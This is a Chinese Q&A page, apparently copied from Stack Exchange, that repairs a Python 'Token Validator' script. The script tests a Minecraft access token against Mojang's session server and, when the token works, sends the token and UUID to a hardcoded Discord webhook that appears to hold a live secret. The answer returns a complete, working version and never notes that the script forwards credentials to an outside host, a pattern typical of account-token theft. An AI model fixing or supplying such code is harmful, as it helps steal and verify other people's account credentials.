Python脚本报错:post_request()缺少token和uuid参数求助
问题排查与修复方案
核心错误原因
你遇到的TypeError是因为调用post_request()时没有传入它定义时要求的token和uuid两个必填参数。函数声明def post_request(token, uuid):明确需要这两个参数,但你在第43行调用时写成了isValid = post_request(),导致参数缺失。
修复后的完整代码
from dhooks import Webhook, Embed import requests import json hook = Webhook('https://discord.com/api/webhooks/1000036496658669619/OChDQ2Whz86jlIrXDelDUUybjQ0DPXkEWRB9QRInBJb18Ww4W-NPo_ZM_fVwnHQ88gh0') token = "Token Here" uuid = "UUID Here" def send(token, uuid): embed = Embed( title= "Token Validator", color=0x68228B, timestamp='now' ) # 修正inline参数为布尔值(原代码的'false'字符串会被视为True) embed.add_field(name='UUID', value=uuid, inline=False) embed.add_field(name='Token', value=token, inline=False) hook.send(embed=embed) def post_request(token, uuid): url = "https://sessionserver.mojang.com/session/minecraft/join" payload = { "accessToken": token, "selectedProfile": uuid, "serverId": uuid } headers = { 'Content-Type': "application/json" } # 优化:用requests的json参数自动序列化,无需手动调用json.dumps response = requests.post(url, json=payload, headers=headers) if response.status_code == 204: return True else: print(response.text) return False # 传入token和uuid参数调用post_request isValid = post_request(token, uuid) if isValid: print("token is valid") send(token, uuid) else: print("token is invalid")
额外优化说明
- 移除了无用的
from cgitb import text导入,减少冗余代码 - 修正了
Embed.add_field的inline参数:原代码传入的字符串'false'会被Python视为布尔值True,改为False才能实现非并排显示字段的效果 - 优化了请求发送方式:使用
requests.post的json参数直接传入字典,无需手动调用json.dumps,代码更简洁且不易出错
内容的提问来源于stack exchange,提问作者Young Prodigy
相关产品推荐
相关产品推荐

